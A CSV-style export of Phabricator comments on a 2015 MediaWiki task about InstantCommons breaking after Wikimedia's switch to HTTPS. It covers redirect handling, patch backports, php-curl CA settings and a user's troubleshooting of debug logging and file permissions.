+So here's a command that works:
+```curl -s 'https://github.com/wikimedia/mediawiki/commit/64446397925576210c50baedc77becb470df84e2.patch' | patch -p1```
+You might have to restore the files `includes/HttpFunctions.php` and `includes/filerepo/ForeignAPIRepo.php` to their original version first.",,,1438889095,,PHID-USER-a6p24cvyblhfzc7we7nc,False,,,PHID-TASK-ol3sysyye6zvepfewmrh,task_subcomment,,True,c3,3,True,,,5,True,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,1,0,0,1,0,0,0,1,0,0,0,1,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,1,1,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,1,1,1,0,0,0,0,0
+503130,InstantCommons broken by switch to HTTPS,"Mediawiki was installed by extracting tar file, following these instructions found here: [[ https://www.howtoforge.com/how-to-install-mediawiki-on-ubuntu-14.04]]",,,1438854454,,PHID-USER-po472mkbnyu6lcw2mj3x,False,,,PHID-TASK-ol3sysyye6zvepfewmrh,task_subcomment,,True,c3,3,False,,,5,True,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,0,1,0,0,0,1,0,1,0,1,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,0,0,0,1,0,0,1
+502739,InstantCommons broken by switch to HTTPS,"It sounds like you already had that commit locally. How did you install MediaWiki, tarballs or a git checkout?",,,1438799464,,PHID-USER-a6p24cvyblhfzc7we7nc,False,,,PHID-TASK-ol3sysyye6zvepfewmrh,task_subcomment,,True,c3,3,True,,,4,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,1,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,1,0,0,1,0,0,0,0,0,0,1,0,1,1,1,1,0,0,0,0,1,0,0,0,1,0,1,1,0,0,1,0,1,1,0,0,0,0,0
+502391,InstantCommons broken by switch to HTTPS,"{F459729}
+
+Have some problems with running this patch...",,,1438766282,,PHID-USER-po472mkbnyu6lcw2mj3x,False,,,PHID-TASK-ol3sysyye6zvepfewmrh,task_subcomment,,True,c3,3,False,,,4,True,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,0,0,0
+501374,InstantCommons broken by switch to HTTPS,The easiest way is probably to run `curl -s 'https://git.wikimedia.org/patch/mediawiki%2Fcore/64446397925576210c50baedc77becb470df84e2' | patch -p1` in the MediaWiki main directory (what you wrote would work too if you installed MediaWiki via git). `$wgDebugLogGroups` should go into `LocalSettings.php`.,,,1438630098,,PHID-USER-a6p24cvyblhfzc7we7nc,False,,,PHID-TASK-ol3sysyye6zvepfewmrh,task_subcomment,,True,c3,3,True,,,4,True,0,0,0,0,0,1,1,0,0,1,1,0,0,0,0,0,0,1,1,0,1,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,1,1,0,0,0,0,1,0
+501319,InstantCommons broken by switch to HTTPS,"1) Do I run it via command line? `git fetch https://gerrit.wikimedia.org/r/mediawiki/core refs/changes/18/223518/4 && git cherry-pick FETCH_HEAD`
+2) In which directory I should run it?
+3) This `$wgDebugLogGroups['http'] = <some custom log file>` goes to LocalSettings.php?
+
+",,,1438627138,,PHID-USER-po472mkbnyu6lcw2mj3x,False,,,PHID-TASK-ol3sysyye6zvepfewmrh,task_subcomment,,True,c3,3,False,,,4,True,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,1,0,0,1,0,0,0,0,1,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,1,1,0,1,1,1,0,0,0,0,0,1
+500942,InstantCommons broken by switch to HTTPS,You could try to cherry-pick https://gerrit.wikimedia.org/r/#/c/223518/ and set `$wgDebugLogGroups['http'] = <some custom log file>`.,,,1438556763,,PHID-USER-a6p24cvyblhfzc7we7nc,False,,,PHID-TASK-ol3sysyye6zvepfewmrh,task_subcomment,,True,c3,3,True,,,4,True,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,1,0,0,0,1,1,0,0,1,0,1,1,0,0,0,0,0,0,1
+500839,InstantCommons broken by switch to HTTPS,"I tried several maintenance scripts (purgeList, checkImages, rebuildImages etc.) but none of them helped. It's getting quite annoying already...",,,1438510220,,PHID-USER-po472mkbnyu6lcw2mj3x,False,,,PHID-TASK-ol3sysyye6zvepfewmrh,task_subcomment,,True,c3,3,False,,,4,True,1,0,0,0,0,1,0,0,0,0,0,1,0,0,0,1,0,1,1,1,0,0,0,0,1,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,1,0,0,0,1,1,0,0,1
+497140,InstantCommons broken by switch to HTTPS,I have tried purging but with no success. Can turning ImageMagick on/off affect this issue? I will try some maintenance scripts next week.,,,1437925229,,PHID-USER-po472mkbnyu6lcw2mj3x,False,,,PHID-TASK-ol3sysyye6zvepfewmrh,task_subcomment,,True,c3,3,False,,,3,True,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,1,0,0,1,0,0,0,0,1,0,0,0
+496905,InstantCommons broken by switch to HTTPS,"> BUT no such phrase as ForeignAPIRepo is included in it. How to get it?
+
+Have you tried loading and [[https://meta.wikimedia.org/wiki/Help:URL#Purge|purging]] some pages with remote images, to force thumbnail creation?",,,1437827060,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-ol3sysyye6zvepfewmrh,task_subcomment,,True,c3,3,True,,,3,True,1,0,0,1,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,0,0,0,0,1,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,1,0,0,1,1,1,0,0,1,0,0,1
+496877,InstantCommons broken by switch to HTTPS,"Finnally I managed to get the logging enabled.
+
+1) I did  `chmod -R a+rw /var/log/mediawiki` - still nothing
+2) Created manually log file `/var/log/mediawiki/debug-mywiki.log` - still nothing
+3) `sudo chown www-data:www-data /var/log/mediawiki` - manually created log file disappeared
+4) `sudo chown www-data:www-data /var/log/mediawiki/debug-mywiki.log` - still the same situation
+5) `sudo chown admin:admin /var/log/mediawiki` - manually created log file appeared again but instead of file size 0 bytes file size 50 982 bytes was shown thus the log was finally written.
+
+BUT no such phrase as `ForeignAPIRepo` is included in it. How to get it?",,,1437817878,,PHID-USER-po472mkbnyu6lcw2mj3x,False,,,PHID-TASK-ol3sysyye6zvepfewmrh,task_subcomment,,True,c3,3,False,,,3,True,0,0,0,1,0,1,0,0,0,0,1,0,0,0,0,1,0,1,1,1,1,0,0,1,1,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,1,0,0,1,0,1,0,0,0,0,0,1
+493085,InstantCommons broken by switch to HTTPS,"If it is not a large production website, I would just do `chmod -R a+rw /var/log/mediawiki`.",,,1437159020,,PHID-USER-a6p24cvyblhfzc7we7nc,False,,,PHID-TASK-ol3sysyye6zvepfewmrh,task_subcomment,,True,c3,3,True,,,2,True,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,0,0,1,0,1,0,0,0,1,0,0,1,0,0,0,0,0
+493057,InstantCommons broken by switch to HTTPS,"Should the open_basedir be enabled then? What directory I should set to open_basedir?
+
+If I change the owner of the /var/log/mediawiki folder to www-data then has it permission to write this file?
+
+Or what I should do exactly?",,,1437152915,,PHID-USER-po472mkbnyu6lcw2mj3x,False,,,PHID-TASK-ol3sysyye6zvepfewmrh,task_subcomment,,True,c3,3,False,,,2,True,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,1,0,1,1,0,1,1,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,1,0,0,1,0,1,0,0,0,0,0,0
+493021,InstantCommons broken by switch to HTTPS,">>! In T102566#1460075, @Tau wrote:
+> In both php.ini files the "";open_basedir= "" (blank). Is it okay? Is this string set anywhere else too in addition to these two php.ini-s?
+
+If you are running your own webserver (not some cheap shared host) and you didn't set it explicitly, it's not enabled.
+
+> I typed ""groups www-data"" to command line and received ""www-data : www-data"" - this should be okay?
+
+That means for a file to be writable, one of these must be true:
+* the owner of the file is `www-data`
+* the group of the file is `www-data`
+* the file is world-writable (ie. `rw-rw-rw` or something like that)
+
+",,,1437149647,,PHID-USER-a6p24cvyblhfzc7we7nc,False,,,PHID-TASK-ol3sysyye6zvepfewmrh,task_subcomment,,True,c3,3,True,,,2,True,1,1,0,0,1,1,1,0,0,1,1,1,0,0,0,1,0,1,1,1,1,1,0,0,1,0,0,0,0,0,0,1,1,1,1,1,0,0,0,1,0,0,0,1,0,1,0,0,0,1,1,1,0,0,1,1,0,1,1,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,1,0,1,0,1,0,1,1,1,1,1,1,1,0,0,1,0,1,0,0,1
+492934,InstantCommons broken by switch to HTTPS,"In both php.ini files the "";open_basedir= "" (blank). Is it okay? Is this string set anywhere else too in addition to these two php.ini-s?
+
+I typed ""groups www-data"" to command line and received ""www-data : www-data"" - this should be okay?
+",,,1437132565,,PHID-USER-po472mkbnyu6lcw2mj3x,False,,,PHID-TASK-ol3sysyye6zvepfewmrh,task_subcomment,,True,c3,3,False,,,2,True,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,1,0,1,1,0,1,1,0,0,1,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,1,0,1,0,0,0,1,1,1,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,1,0,1,1,1,1,1,0,1,1,0,0,0,0,0,0,0
+492897,InstantCommons broken by switch to HTTPS,"[[ https://www.mediawiki.org/wiki/Manual:$wgDebugLogFile | Manual:$wgDebugLogFile ]] recommends checking `open_basedir`. Also, are you sure the user MediaWiki runs under (probably `www-data`) is in the right group to write the file?",,,1437125933,,PHID-USER-a6p24cvyblhfzc7we7nc,False,,,PHID-TASK-ol3sysyye6zvepfewmrh,task_subcomment,,True,c3,3,True,,,2,True,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,1,1,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,0,0,1,1,1,1,0,0,1,1,0,0,0,1,0,0,1
+492876,InstantCommons broken by switch to HTTPS,">>! In T102566#1439571, @Tgr wrote:
+>>>! In T102566#1434294, @Tau wrote:
+>> Still nothing ... Any further recommendations??
+> 
+> Make sure [[ https://www.mediawiki.org/wiki/Manual:How_to_debug#Setting_up_a_debug_log_file | you have logging enabled ]] then grep for `ForeignAPIRepo: ERROR on GET:`.
+
+>>! In T102566#1451278, @Nemo_bis wrote:
+> 
+> Did Tau find the solution to their problem?
+
+I created mediawiki folder to /var/log/ (permissions rwx for both user and groups). Then added line $wgDebugLogFile = ""/var/log/mediawiki/debug-{$wgDBname}.log""; to LocalSettings.php. Made few edits on wiki page but debug file was not created. Then added manually text file debug-my_wiki.log (permissions rwx for both user and groups) to /var/log/mediawiki/ made edits on wiki page, restarted server but still can't get the debug info saved into that file. What I am doing wrong?",,,1437119767,,PHID-USER-po472mkbnyu6lcw2mj3x,False,,,PHID-TASK-ol3sysyye6zvepfewmrh,task_subcomment,,True,c3,3,False,,,2,True,1,0,0,0,1,1,0,0,0,0,1,1,0,0,0,1,0,1,1,1,0,0,0,0,1,1,0,0,0,0,0,1,1,0,1,1,0,0,1,0,0,1,0,1,0,0,0,0,0,1,0,1,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,1,1,0,1,1,0,0,1,0,1,0,0,0,1,1,1,1,1,1,1,1,1,0,0,1,0,0,1
+492130,InstantCommons broken by switch to HTTPS,">>! In T102566#1456014, @Tgr wrote:
+> I don't see anything needing change on any of those.
+
+Probably because Bawolff fixed them three weeks ago.",,,1437011321,,PHID-USER-a6p24cvyblhfzc7we7nc,False,,,PHID-TASK-ol3sysyye6zvepfewmrh,task_subcomment,,True,c3,3,True,,,2,True,1,1,0,0,1,0,0,1,0,0,1,1,0,0,0,1,0,1,1,1,0,0,0,0,1,0,0,0,0,0,1,1,1,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,1,1,0,1,0,0,1,0,1,0,1,0,1,1,1,0,0,1,1,0,0,0,1,1,0,0,1
+492127,InstantCommons broken by switch to HTTPS,">>! In T102566#1451278, @Nemo_bis wrote:
+> The necessary steps also must be documented. At least one of https://www.mediawiki.org/wiki/InstantCommons, https://www.mediawiki.org/wiki/Manual:$wgInstantCommons and https://www.mediawiki.org/wiki/Manual:$wgForeignFileRepos needs update.
+
+I don't see anything needing change on any of those.",,,1437011139,,PHID-USER-a6p24cvyblhfzc7we7nc,False,,,PHID-TASK-ol3sysyye6zvepfewmrh,task_subcomment,,True,c3,3,True,,,2,True,1,1,0,1,1,1,0,0,0,0,1,1,0,0,0,1,0,1,1,1,0,1,0,0,1,1,0,0,0,0,1,1,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,1,1,1,0,1,1,0,0,1,0,1,0,1,0,1,1,1,0,0,1,1,1,0,0,0,1,0,1,1
+491221,InstantCommons broken by switch to HTTPS,"> I tend to think we should least have a software release available
+
+The necessary steps also must be documented. At least one of https://www.mediawiki.org/wiki/InstantCommons, https://www.mediawiki.org/wiki/Manual:$wgInstantCommons and https://www.mediawiki.org/wiki/Manual:$wgForeignFileRepos needs update.
+
+Did Tau find the solution to their problem?",,,1436851115,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-ol3sysyye6zvepfewmrh,task_subcomment,,True,c3,3,True,,,1,True,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,1,0,1,1,0,1,1,0,0,1,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,1,0,1,1,1,1,0,0,1,1,0,1,0,0,0,1,0
+491192,InstantCommons broken by switch to HTTPS,Change prepped so it's easy.  I'm open to debate on timing (I tend to think we should least have a software release available).,,,1436839110,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,,,PHID-TASK-ol3sysyye6zvepfewmrh,task_subcomment,,True,c3,3,True,,,1,True,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,1,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,1,1,0,1,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,0,0,1,0,0,0,1,0
+491191,InstantCommons broken by switch to HTTPS,"Change 224557 had a related patch set uploaded (by BBlack):
+HTTPS redirects: remove InstantCommons exception
+
+[[https://gerrit.wikimedia.org/r/224557]]
+",,,1436838968,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-ol3sysyye6zvepfewmrh,task_subcomment,,True,c3,3,False,,,1,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+491183,InstantCommons broken by switch to HTTPS,">>! In T102566#1451044, @BBlack wrote:
+> Just to clear up confusion with the @Tgr's comment as well: Are we planning to release for 1.23 and 1.24 as well, or just 1.25?
+> 
+
+I figured all 3 since patches were made for all of them...but I don't really care tbh
+
+> This whole thing doesn't really fit my definition of ""Super Urgent"", but on the other hand it's now been about a month, and I was expecting more like 2-3 weeks to pulling the exception out of varnish, and no real end in sight yet. 
+
+Sorry if we set a bad expectation here...releases never happen on time :)
+
+> If the plan is to take another month or two, then yeah, we need to do something about fixing this sooner.  As far as I'm concerned, the cause of this is our own broken software.  We've been harder on external breakage than we're being with ourselves here...
+> 
+
+To be honest, even if I released the software tomorrow, we'll still see a long tail of people upgrading. You're still looking at months...
+
+If we don't really care, then why not just remove the exceptions today? InstantCommons is an optional feature, off by default, and the broken behavior can be configured around.
+
+> Perhaps this part needs to be a separate task, but my feeling is that we'll continue to see breakage internally and externally so long as we don't fix the general case here.  Anything that acts as HTTP[S]-fetching code in MediaWiki should always follow a protocol redirect (as in, nothing about the URL changes except the protocol switch from http to https), regardless of any sort of security-focused ""don't follow redirects"" flag.
+
+Yeah. The whole behavior around redirection here is wonky. We should definitely fix it up. Filed T105765 for it.",,,1436836806,,PHID-USER-oetk6bbl6omm354ejz3b,False,,,PHID-TASK-ol3sysyye6zvepfewmrh,task_subcomment,,True,c3,3,True,,,1,True,1,1,0,1,1,1,1,0,0,1,1,1,0,0,0,1,0,1,1,1,1,1,1,0,1,1,0,1,1,1,1,1,1,1,1,1,0,0,1,0,1,1,1,1,0,1,0,0,0,1,1,1,0,1,1,0,0,1,1,0,1,1,0,0,0,0,0,1,1,1,1,1,1,0,1,1,0,1,1,1,0,1,1,1,1,1,1,1,0,1,1,1,1,1,0,1
+491154,InstantCommons broken by switch to HTTPS,">>! In T102566#1450297, @demon wrote:
+>>>! In T102566#1449713, @BBlack wrote:
+>> So, where are we at on removing the redirection workarounds here?
+> 
+> Patches have been merged to all supported branches.
+> 
+>> I'd still like to get these removed ASAP.  Have we released new software with https:// URLs?
+> 
+> No, no release yet. 1.25.2 (T93267) is supposed to be a security release but it's not quite ready yet. If this is super urgent, I suppose we could do a release and just push back the security one to 1.25.3...
+
+Just to clear up confusion with the @Tgr's comment as well: Are we planning to release for 1.23 and 1.24 as well, or just 1.25?
+
+This whole thing doesn't really fit my definition of ""Super Urgent"", but on the other hand it's now been about a month, and I was expecting more like 2-3 weeks to pulling the exception out of varnish, and no real end in sight yet.  If the plan is to take another month or two, then yeah, we need to do something about fixing this sooner.  As far as I'm concerned, the cause of this is our own broken software.  We've been harder on external breakage than we're being with ourselves here...
+
+>> Does MW's http-fetching stuff in general always allow protocol-only redirects (this may affect internal cases of fetches from meta, too).
+> 
+> We don't follow redirects by default in our http-fetching stuff. It'd be up to an explicit codepath to turn that on. When it is on, it doesn't make any sort of assumptions about protocols, etc. We could probably improve things there...
+
+Perhaps this part needs to be a separate task, but my feeling is that we'll continue to see breakage internally and externally so long as we don't fix the general case here.  Anything that acts as HTTP[S]-fetching code in MediaWiki should always follow a protocol redirect (as in, nothing about the URL changes except the protocol switch from http to https), regardless of any sort of security-focused ""don't follow redirects"" flag.",,,1436832052,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,,,PHID-TASK-ol3sysyye6zvepfewmrh,task_subcomment,,True,c3,3,True,,,1,True,1,1,0,1,1,1,1,0,0,1,1,1,0,1,0,1,0,1,1,1,1,1,0,0,1,1,0,1,1,1,0,1,1,1,1,0,0,0,1,1,1,0,1,1,0,1,0,0,0,1,1,1,1,1,1,0,0,1,1,0,1,1,0,1,0,0,0,1,1,1,1,1,1,0,0,1,0,1,1,1,0,1,1,1,1,1,1,1,0,1,1,1,1,1,0,1
+491014,InstantCommons broken by switch to HTTPS,">>! In T102566#1449713, @BBlack wrote:
+> So, where are we at on removing the redirection workarounds here?
+
+Patches have been merged to all supported branches.
+
+> I'd still like to get these removed ASAP.  Have we released new software with https:// URLs?
+
+No, no release yet. 1.25.2 (T93267) is supposed to be a security release but it's not quite ready yet. If this is super urgent, I suppose we could do a release and just push back the security one to 1.25.3...
+
+> Does MW's http-fetching stuff in general always allow protocol-only redirects (this may affect internal cases of fetches from meta, too).
+
+We don't follow redirects by default in our http-fetching stuff. It'd be up to an explicit codepath to turn that on. When it is on, it doesn't make any sort of assumptions about protocols, etc. We could probably improve things there...",,,1436813270,,PHID-USER-oetk6bbl6omm354ejz3b,False,,,PHID-TASK-ol3sysyye6zvepfewmrh,task_subcomment,,True,c3,3,True,,,1,True,1,0,0,1,1,1,1,0,0,1,1,1,0,1,0,1,0,1,1,0,1,0,0,0,1,0,0,0,1,1,0,1,1,1,1,0,0,0,1,1,1,0,0,1,0,0,0,0,0,1,1,1,1,1,1,0,0,1,0,0,1,1,0,1,0,0,0,1,1,1,1,1,1,0,0,1,0,1,1,1,0,1,1,1,1,0,1,1,0,1,1,0,1,0,0,1
+491005,InstantCommons broken by switch to HTTPS,">>! In T102566#1449713, @BBlack wrote:
+> Have we released new software with https:// URLs?
+
+No. [[ https://gerrit.wikimedia.org/r/#/q/Ie0b4ec179b9ccd13015c9bcbfa5c9917ff26de36,n,z | The InstantCommons patch ]] still needs to be merged to 1.24 and 1.23, and all supported versions (1.23, 1.24, 1.25) need a new release. And presumably some grace period after that.
+
+The blocking tasks also need some work.
+
+> Does MW's http-fetching stuff in general always allow protocol-only redirects (this may affect internal cases of fetches from meta, too).
+
+It does not allow redirects at all, unless explicitly configured. If redirects are enabled, there is no way to restrict them in any way. 
+See also T103043 (not sure if it should be a blocker).",,,1436812531,,PHID-USER-a6p24cvyblhfzc7we7nc,False,,,PHID-TASK-ol3sysyye6zvepfewmrh,task_subcomment,,True,c3,3,True,,,1,True,1,0,0,1,1,1,1,0,0,1,1,1,0,1,1,1,0,1,1,0,1,1,0,0,1,0,0,0,1,0,0,1,1,1,1,0,0,0,0,1,1,1,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,1,0,1,1,1,0,1,1,1,1,0,1,1,1,0,1,1,1,0,0,1
+490911,InstantCommons broken by switch to HTTPS,"So, where are we at on removing the redirection workarounds here?  I'd still like to get these removed ASAP.  Have we released new software with https:// URLs?  Does MW's http-fetching stuff in general always allow protocol-only redirects (this may affect internal cases of fetches from meta, too).",,,1436804760,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,,,PHID-TASK-ol3sysyye6zvepfewmrh,task_subcomment,,True,c3,3,True,,,1,True,0,0,0,0,0,1,0,0,0,0,1,1,0,1,0,1,0,1,1,0,1,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,1,0,1,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,0,0,1,1,1,1,0,0,1,0,1,0,0,1,0,0,0
+489024,InstantCommons broken by switch to HTTPS,">>! In T102566#1434294, @Tau wrote:
+> Still nothing ... Any further recommendations??
+
+Make sure [[ https://www.mediawiki.org/wiki/Manual:How_to_debug#Setting_up_a_debug_log_file | you have logging enabled ]] then grep for `ForeignAPIRepo: ERROR on GET:`.",,,1436396932,,PHID-USER-a6p24cvyblhfzc7we7nc,False,,,PHID-TASK-ol3sysyye6zvepfewmrh,task_subcomment,,True,c3,3,True,,,0,True,1,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,1,1,1,0,0,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,1,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,1,0,1,0,0,0,1,1,1,1,0,1,1,1,0,0,0,1,0,0,1
+487997,InstantCommons broken by switch to HTTPS,"I downloaded 2 php.ini files via FileZilla from directories /etc/php5/apache2/ and /etc/php5/cli/. 
+
+Changed ;curl.cainfo = to curl.cainfo = ""/etc/ssl/certs/ca-certificates.crt"" in both files and uploaded them to server, after that replaced original files with new ones. 
+
+Then restarted server by //sudo apache2ctl graceful// and //sudo service apache2 restart//.
+
+Still nothing ... Any further recommendations??",,,1436280794,,PHID-USER-po472mkbnyu6lcw2mj3x,False,,,PHID-TASK-ol3sysyye6zvepfewmrh,task_subcomment,,True,c3,3,False,,,0,True,1,0,0,0,0,1,0,0,0,0,1,0,0,0,0,1,0,1,1,1,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,1,0,1,0,1,1,1,1,1,0,1,0,0,0,1,0,0,0,1
+485235,InstantCommons broken by switch to HTTPS,">>! In T102566#1417074, @Tau wrote:
+> I have installed the php5-curl now but still Instantcommons isn't working properly. What next?
+
+Most likely, follow instructions at https://snippets.webaware.com.au/howto/stop-turning-off-curlopt_ssl_verifypeer-and-fix-your-php-config/ to set curl.cafile in php.ini",,,1435789841,,PHID-USER-dpu5hmqvprhycqlkdzrk,False,,,PHID-TASK-ol3sysyye6zvepfewmrh,task_subcomment,,True,c3,2,True,,,-1,True,0,0,0,0,1,1,0,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,1,0,1,0,0,0,1,1,1,1,0,1,1,1,1,0,0,1,0,1,1
+484880,InstantCommons broken by switch to HTTPS,I have installed the php5-curl now but still Instantcommons isn't working properly. What next?,,,1435754931,,PHID-USER-po472mkbnyu6lcw2mj3x,False,,,PHID-TASK-ol3sysyye6zvepfewmrh,task_subcomment,,True,c3,2,False,,,-1,True,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,0,0,0,0,1,0,1,1,0,0,1,0,1,0,0,1,0,0,0
+484681,InstantCommons broken by switch to HTTPS,"With HTTPS mandatory for InstantCommons, the php5-curl package / curl PHP extension becomes mandatory to use InstantCommons.
+
+The fallback background PhpHttpRequest suffers of two issues related to HTTPS: T75203 (a certificate repository must be set) and T75199 (the wildcard certificate must be handled).",,,1435710135,,PHID-USER-2nopae2cxuamwcbndaih,False,,,PHID-TASK-ol3sysyye6zvepfewmrh,task_subcomment,,True,c3,2,False,,,-1,True,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0
+483164,InstantCommons broken by switch to HTTPS,"Okay, I will try and let you know.",,,1435495573,,PHID-USER-po472mkbnyu6lcw2mj3x,False,,,PHID-TASK-ol3sysyye6zvepfewmrh,task_subcomment,,True,c3,2,False,,,-1,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0
+483163,InstantCommons broken by switch to HTTPS,"@bawolff was taking about this last night, see his comment above.
+
